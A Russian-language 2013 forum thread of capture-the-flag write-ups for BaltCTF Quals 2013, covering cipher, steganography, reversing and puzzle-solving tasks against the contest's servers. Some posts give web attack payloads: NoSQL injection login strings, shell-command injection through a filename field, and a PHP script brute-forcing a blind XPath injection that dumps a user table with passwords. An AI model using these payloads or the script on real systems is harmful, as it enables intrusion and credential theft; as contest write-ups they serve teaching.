Старый 12.05.2013, 22:14   #1
BlackFan
 
Аватар для BlackFan
 
Регистрация: 08.07.2010
Сообщений: 354
Репутация: 402
По умолчанию BaltCTF Quals 2013

Несколько решенных мной заданий на BaltCTF Quals 2013

Hidden 1 (100, hidden)
Открываем favicon.ico, смотрим в конец


Strange Language (100, ppc)
Дан исходный код на неизвестном языке в файле module1.rf.
По расширению и синтаксису определяем что это Refal. Разбираемся что он делает, переписываем обратные преобразования на php и запускаем.

Код:
$module "module1";
$use StdIO;
$use String;
$use Compare;
$use Convert;
$func Main =e; 
$func Chk e=e; 
$func Cmp e=e; 
$func Go e=e; 
$func Mag e=e; 
$func Rps e=e; 
$func Rps2 e=e;

Main
	 = <Go<Chk(<ReadLine>)('0123456789abcdef')()()>>;

Mag {
	s1 e2 ' ' e3=<Mag e2 ' ' s1 e3>;
	' ' e1 = <Rps e1>;
	};

Go {
	'yes' e1 = <Go<Compare (<Mag e1 ' '>)('3b4cdca9b5748cba3b578d696c7186a0f068e72696387a1c0128b7a190232b1c')>>;
	'=' = <PrintLn 'Wellcome!!!'>;
	e1 = <PrintLn 'Bad key'>;
};


Chk {
	()(e1)()()= 'no';
	(e1)(e2)()()= <Chk (e1)(e2)(e1)()>;
	(s1 e2)(e3 s1 e4)(e5)(e6)= <Chk (e2)(e3 s1 e4)(e5)(e6 s1)>;
	(e1)(e2)(e3)(e4) = <Cmp (e3) (e4)>;		
};

Cmp {
	(e1)(e1) = 'yes' <Mag e1 ' '>e1;
	(e1)(e2) = 'no';
};

Rps {
	e1 '0' e2 = <Rps e1 'F' e2>;
	e1 '1' e2 = <Rps e1 'E' e2>;
	e1 '2' e2 = <Rps e1 'D' e2>;
	e1 '3' e2 = <Rps e1 'C' e2>;
	e1 '4' e2 = <Rps e1 'B' e2>;
	e1 '5' e2 = <Rps e1 'A' e2>;
	e1 'a' e2 = <Rps e1 'z' e2>;
	e1 'b' e2 = <Rps e1 'y' e2>;
	e1 'c' e2 = <Rps e1 'x' e2>;
	e1 'd' e2 = <Rps e1 'w' e2>;
	e1 'e' e2 = <Rps e1 'v' e2>;
	e1 'f' e2 = <Rps e1 'u' e2>;
	e1 = <Rps2 e1>;
	};

Rps2 {
	e1 'F' e2 = <Rps2 e1 'f' e2>;
	e1 'E' e2 = <Rps2 e1 'e' e2>;
	e1 'D' e2 = <Rps2 e1 'd' e2>;
	e1 'C' e2 = <Rps2 e1 'c' e2>;
	e1 'B' e2 = <Rps2 e1 'b' e2>;
	e1 'A' e2 = <Rps2 e1 'a' e2>;
	e1 'z' e2 = <Rps2 e1 '0' e2>;
	e1 'y' e2 = <Rps2 e1 '1' e2>;
	e1 'x' e2 = <Rps2 e1 '2' e2>;
	e1 'w' e2 = <Rps2 e1 '3' e2>;
	e1 'v' e2 = <Rps2 e1 '4' e2>;
	e1 'u' e2 = <Rps2 e1 '5' e2>;	
	e1 = e1;
	};
Код:
<?php
	$a=array('0','1','2','3','4','5','a','b','c','d','e','f');
	$b=array('F','E','D','C','B','A','z','y','x','w','v','u');
	$c=array('f','e','d','c','b','a','0','1','2','3','4','5');
	$result = '3b4cdca9b5748cba3b578d696c7186a0f068e72696387a1c0128b7a190232b1c';
	$result = str_replace($c, $b, $result);
	$result = str_replace($b, $a, $result);
	$result = strrev($result);
?>
Получаем строки:
Код:
Исходная
3b4cdca9b5748cba3b578d696c7186a0f068e72696387a1c0128b7a190232b1c
Результат
3b4cdca9b5748cba3b578d696c7186a0a568b73696287f4d5438e7f495323e4d
Убираем повторяющуюся часть, сдаем флаг.

USS Enterprice (100, crypto)
Код:
pySpIl. wmqDp oDl! nQSamn lIjngychoIl tDt nDn'Do
Гугление по названию выводит нас на United States Ship и Star Trek. Так как хинт "Veni, Vidi, Vici" явно указывает на шифр Цезаря, отбрасываем United States Ship и останавливаемся на Star Trek.
Необходимо было использовать шифр Цезаря в контексте Клингонского языка используя следующий алфавит:

Результат:
Код:
nuqneH. tlhIngan maH! joqwIj Heghlu'meH QaQ jajvam
Что в переводе с клингонского
Код:
Hello. We are Klingons! [joqwIj] Today is a good day to die
Тут я очень долго тупил, потому что слова joqwIj нигде не было. Судя по всему в задании была ошибка, потому что слово флаг на самом деле пишется joqwI'. Соответственно флагом является:
Код:
Today is a good day to die
Web 1 (100, web)
Сайтик с формой авторизации и хинт "MongoDB is used database", который явно указывает на NoSQL Injection.
Пробуем варианты типа:
Код:
name=admin&pass[$ne]=1
name=admin')}//&pass=
Никаких ошибок не выводится и можно решить что идея неправильная, но после перебора скобочек сработал вариант:
Код:
name=admin'})}//&pass=123

Hidden 2 (200, hidden)
Задание "Get flag!" и хинт "Do you read task description and it (http://tools.ietf.org/html/rfc2616)?"
Не знаю, как нужно это было решать без подсказки, но для получения флага необходимо было послать запрос
Код:
OPTIONS /flag HTTP/1.1
Hockey (200, stegano)
Дана gif картинка.


Находим оригинал и замечаем точки на некоторых кадрах.


Качаем ImageMagick, раскладываем гифки по кадрам и обрабатываем 200 картинок следующим образом.
Код:
FOR /L %%i IN (1,1,100) DO 
compare -fuzz 10%% -compose src stego_%%i.gif stego___%%i.gif diff_%%i.gif
Получаем сто картинок следующего вида


Склеиваем, получаем сообщение в виде азбуки Морзе, декодируем, колдуем над результатами, так как не все точки правильно было определены и переписаны с картинок, и в итоге получаем флаг:
Код:
He stole my stick
Look Carefully (300, stegano)
Дан mp3 файл с шумом. Открываем спектрограмму, замечаем небольшие вставки в шум:


Долго и упорно выдираем и склеиваем их, получаем следующее:


Немного колдуем в photoshop


Результат:
Код:
Congrats! Your flag is 1c4nh1d3qrc0d354nywh3r3

Последний раз редактировалось BlackFan; 13.05.2013 в 06:43..
BlackFan вне форума   Ответить с цитированием
Старый 12.05.2013, 22:26   #2
banana
 
Аватар для banana
 
Регистрация: 05.07.2010
Сообщений: 29
Репутация: 3
По умолчанию

Очень упоротые таски. В Look Carefully даже вырезал всё также, но до QR кода не додумался. Интересно, где были все флаги в Windows, я всего 25 собрал, и что за прикол с lol.txt.
banana вне форума   Ответить с цитированием
Старый 12.05.2013, 23:08   #3
Beched
 
Регистрация: 06.07.2010
Сообщений: 400
Репутация: 118
По умолчанию

The tasks were really "uporotye". Too many Joy and PPC, almost no hacking challenges and even no reverse.
Nevertheless, even it was not real CTF, there were rather useful tasks.
I'll describe only two popular PPC300 tasks.

Positive (300, ppc)
Код:
$ nc 194.106.195.60 9502
Be positive, change all minuses to pluses!
Rules: clicking on a cell changed it and it's neighbours.
Format: 
a) "\d\d" - number of cell
b) "(?:\d\d)+" numbers of cells
-++-------
--++----+-
-+--------
------+--+
--+-++++--
---+---+-+
---++-----
-----++---
+--+-+-+--
++-------+
After googling a bit, we can realize that it's "Lights out" problem.
To win the game, we should solve some system of linear equations. Let's do it with SageMath!

Код:
import socket

def lights_out( n ):
    M = MatrixSpace( GF( 2 ), n * n, n * n )
    A = M.matrix()
    for i in range( n ):
        for j in range( n ):
            m = n * i + j
            A[ (m, m) ] = 1
            if i > 0 : A[ (m, m - n) ] = 1
            if i < n - 1 : A[ (m, m + n) ] = 1
            if j > 0 : A[ (m, m - 1) ] = 1
            if j < n - 1 : A[ (m, m + 1) ] = 1
    return A

def lights_out_solver( n, b ):
    x = lights_out( n ).solve_right( b );
    button_press_matrix = matrix( GF( 2 ), n, n, x.list() )
    return button_press_matrix

def dostep( s ):
    m = vector( GF( 2 ), [ int( x.replace( '-', '1' ).replace( '+', '0' ) ) for x in list( s.recv( 128 ).replace( '\n', '' ) ) ] )
    a = lights_out_solver( 10, m )
    i, r = 0, ''
    for x in a:
        j = 0
        for y in x:
            if y == 1:
                r += '%s%s' % (i,j)
            j += 1
        i += 1
    s.send( '%s\n' % r )

def doit():
    s = socket.socket( socket.AF_INET, socket.SOCK_STREAM )
    s.connect( ('194.106.195.60', 9502) )
    s.recv( 128 )
    s.recv( 128 )
    for x in xrange( 0, 100 ):
        dostep( s )
        print s.recv( 128 )
    s.close()

if __name__ == '__main__':
    doit()
Output:
Код:
$ sagemath lights.sage
Solved!!! Have a fun and finally you will get a flag
.......
(100 times)
.......
Solved!!! Have a fun and finally you will get a flag

the flag is: 2e70bd4bbe1ed7c69a088c24c5a6fc95
Sudoku (300, ppc)
Код:
$ nc 194.106.195.60 9503
Have a nice time with sudoku
Format: 
a) "[1-9] [1-9] [1-9]" - coords and input digit 
b) "solution [1-9]{81}" - full solution
Other:
"restart" to start current game again
"[QqXx]" to exit
-------------
|5__|__8|4__|
|_3_|___|___|
|_2_|5__|___|
-------------
|___|___|72_|
|_1_|2__|___|
|2__|___|5__|
-------------
|__6|___|24_|
|__3|___|6__|
|4_2|1__|3__|
-------------
Again, we'll use SageMath, since it contains the class, which implements the solver of sudoku game. The only thing we need is to parse an input.

Код:
import socket, re

def dostep( s ):
    t = s.recv( 4096 )
    print t
    g = ''.join( re.findall( '[\d_]', t ) ).replace( '_', '.' )
    g = str( Sudoku( g ).solve().next() )
    s.send( 'solution %s' % ''.join( re.findall( '[\d]', g ) ) )

def doit():
    s = socket.socket( socket.AF_INET, socket.SOCK_STREAM )
    s.connect( ('194.106.195.60', 9503) )
    s.recv( 128 )
    s.recv( 128 )
    for x in xrange( 0, 101 ):
        dostep( s )
        print s.recv( 128 )
    s.close()

if __name__ == '__main__':
    doit()
Output:
Код:
Wow!!!
.......
(100 times)
.......
Wow!!!

the flag is: 328df3b4525e060de963a20d3cc86579

Последний раз редактировалось BlackFan; 13.05.2013 в 06:33..
Beched вне форума   Ответить с цитированием
Старый 12.05.2013, 23:28   #4
sanekspot
 
Регистрация: 12.05.2013
Сообщений: 1
Репутация: 0
По умолчанию

Подскажите, с помощью какой программы вы смотрели спектрограмму?
sanekspot вне форума   Ответить с цитированием
Старый 13.05.2013, 06:22   #5
BlackFan
 
Аватар для BlackFan
 
Регистрация: 08.07.2010
Сообщений: 354
Репутация: 402
По умолчанию

Цитата:
Сообщение от sanekspot Посмотреть сообщение
Подскажите, с помощью какой программы вы смотрели спектрограмму?
На скринах Sonic Visualiser. Если поиграться с настройками отображения спектрограммы, то можно было уменьшить дальнейшую работу в photoshop'е)


Brain (500, reverse)
Дана программа, которая преобразует произвольные картинки в черно-белые 25x25 и используя натренированную сеть Кохонена обрабатывает их и выдает результат.
После обработки черно-белую картинку можно залить на сайт и проверить.

Вторая случайная картинка найденная на моем компе неожиданно после обработки вернула флаг.

Последний раз редактировалось BlackFan; 13.05.2013 в 06:57..
BlackFan вне форума   Ответить с цитированием
Старый 13.05.2013, 10:13   #6
blaro
 
Регистрация: 13.05.2013
Сообщений: 1
Репутация: 0
По умолчанию

What's the name of the tool used for "Look Carefully" ?
blaro вне форума   Ответить с цитированием
Старый 13.05.2013, 10:50   #7
HeartLESS
 
Регистрация: 25.04.2012
Сообщений: 101
Репутация: 31
По умолчанию

Цитата:
Сообщение от blaro Посмотреть сообщение
What's the name of the tool used for "Look Carefully" ?
Sonic Visualiser


BTW, I had more problems with web200 then rdot =)
If you`l write it up:
filename=`ls`.gif
gave me
0-index css.gif

I used to brute a little:
filename=`ls|grep $var$`.gif

$var$ is from 'aa' to 'zz'

finally I`ve found file "picture"

there was a flag, but it was 32 letters long, as available filename was 10 symbols.

filename=`cat picture`.gif

i`ve got c5e7b971c6.gif

so my last vector was

filename=`cat picture|cut -f$var$ -d6`.gif
var from 1 to 6

and I`ve got several files

c5e7b971c.gif
229.gif
dcae.gif
4fb7fabf1.gif
9c.gif

I`ve joined them with "6" and put the last '6' after all
c5e7b971c62296dcae64fb7fabf169c6

As far as I know, there was a possibility to solve it using dirbuster and request http://site/picture, and organizers closed it to 404 later.

Последний раз редактировалось HeartLESS; 13.05.2013 в 11:14..
HeartLESS вне форума   Ответить с цитированием
Старый 13.05.2013, 19:27   #8
Mad_ALexandr
 
Регистрация: 13.05.2013
Сообщений: 1
Репутация: 0
По умолчанию

Очень интересный разбор заданий. Могу только добавить, что в web200 можно было подать такое имя файла '; ls; a'. При этом ограничение на 16 байт снималось. Не знаю что за команда такая шелловская, которая обрезает свой вывод, может это вообще самописный скрипт. Но если её завершить, то дальше легче. А web300 вроде бы не решил вообще никто.

Мне очень, интересно, как решался таск по криптологии на 300 про пароль в офисе. Взамен могу сказать, что crypto 300 SimpleRSA решался с помощью факторизации Ферма -- p и q оказались близко.
В сапере ключом были 11 хекс-цифр, которые надо распознать на решенных полях. 10 решений + 1 бонус в конце.

Последний раз редактировалось Mad_ALexandr; 13.05.2013 в 19:42..
Mad_ALexandr вне форума   Ответить с цитированием
Старый 19.05.2013, 12:09   #9
HeartLESS
 
Регистрация: 25.04.2012
Сообщений: 101
Репутация: 31
По умолчанию

WEB 300
xPath в параметре ID в админской сортировке.
мой вектор
Код:
1' and substring(normalize-space(../../../node()),1,1)='a' and '2'='2
при длине в 2073 всего файла, достаточно было забрать первые 50 символов. Я забрал 100
мой скрипт
Код:
<?
	echo "<b>brute is 2 slow</b> =(";
	$basis = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789 <>/_@";
	$alphabet = array();
	for($i=0;$i<strlen($basis);$i++) {
		$alphabet[]=$basis[$i];
	}

	$innertext = "";
	$current_counter = 1;

	while(strlen($innertext)<100){
		$found = false;
		//when $alpha is in $alphabet:
		foreach ($alphabet as $alpha) {
			$fp = fsockopen("194.106.195.60", 9182, $errno, $errstr);
			$file = "";

			$req = "POST /admin HTTP/1.1\r\n".
					"Host: 194.106.195.60:9182\r\n".
					"User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:20.0) Gecko/20100101 Firefox/20.0\r\n".
					"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n".
					"Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3\r\n".
					"Accept-Encoding: gzip, deflate\r\n".
					"Referer: http://194.106.195.60:9182/admin\r\n".
					"Cookie: session=\"1EeY3DwVoTlPJr26znAvYHqnXok=?user=UycyJwou\"\r\n".
					"Connection: Close\r\n".
					"Content-Type: application/x-www-form-urlencoded\r\n".
					"Content-Length: ".strlen("op=%3D&v=1' and substring(normalize-space(../../../node()),".$current_counter.",1)='".$alpha."' and '2'='2")."\r\n".
					"\r\n".
					"op=%3D&v=1' and substring(normalize-space(../../../node()),".$current_counter.",1)='".$alpha."' and '2'='2\r\n\r\n";
			fwrite($fp, $req);
			while (!feof($fp)) {
			 	$file .= fread($fp, 4000);
			}
			fclose($fp);
			if(strlen($file) > 1050){
				$innertext.=$alpha;
				echo '<br>'.$innertext;
				$current_counter++;
				$found = true;
				break;
			}
		};
		if($found)
			continue;

		for($i = 1; $i < 255; $i++) {
			$fp = fsockopen("194.106.195.60", 9182, $errno, $errstr);
			$file = "";

			$req = "POST /admin HTTP/1.1\r\n".
					"Host: 194.106.195.60:9182\r\n".
					"User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:20.0) Gecko/20100101 Firefox/20.0\r\n".
					"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n".
					"Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3\r\n".
					"Accept-Encoding: gzip, deflate\r\n".
					"Referer: http://194.106.195.60:9182/admin\r\n".
					"Cookie: session=\"1EeY3DwVoTlPJr26znAvYHqnXok=?user=UycyJwou\"\r\n".
					"Connection: Close\r\n".
					"Content-Type: application/x-www-form-urlencoded\r\n".
					"Content-Length: ".strlen("op=%3D&v=1' and substring(normalize-space(../../../node()),".$current_counter.",1)='".urlencode(chr($i))."' and '2'='2")."\r\n".
					"\r\n".
					"op=%3D&v=1' and substring(normalize-space(../../../node()),".$current_counter.",1)='".urlencode(chr($i))."' and '2'='2\r\n\r\n";
			fwrite($fp, $req);
			while (!feof($fp)) {
			 	$file .= fread($fp, 4000);
			}
			fclose($fp);
			if(strlen($file) > 1050){
				$innertext.=chr($i);
				$alphabet[] = chr($i);
				echo '<br>'.$innertext;
				$current_counter++;
				$found = true;
				echo "<br> Alphabet improved:".implode(" ", $alphabet);
				break;
			}
		};

		if($found)
			continue;



		echo "<br>".$current_counter++." not found =( go next";
		$innertext.="?";
		echo "<br>".$innertext;
	};
В итоге получил
Код:
...
Alphabet improved:A B C D E F G H I J K L M N O P Q R S T U V W X Y Z a b c d e f g h i j k l m n o p q r s t u v w x y z 0 1 2 3 4 5 6 7 8 9 < > / _ @ .
1 root YChhI499bnTVOrJ 0 2 admin qwerty123 1 3 user pass 2 1lolollolol/uploads/1.p
..
и так далее
видно учетку рута, заходим под ней, там флаг
OK! Your flag is: a0133d7bf0..........fc13ef4be99b =)

Последний раз редактировалось HeartLESS; 19.05.2013 в 12:19..
HeartLESS вне форума   Ответить с цитированием
Ответ

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2019, Jelsoft Enterprises Ltd. Перевод: zCarot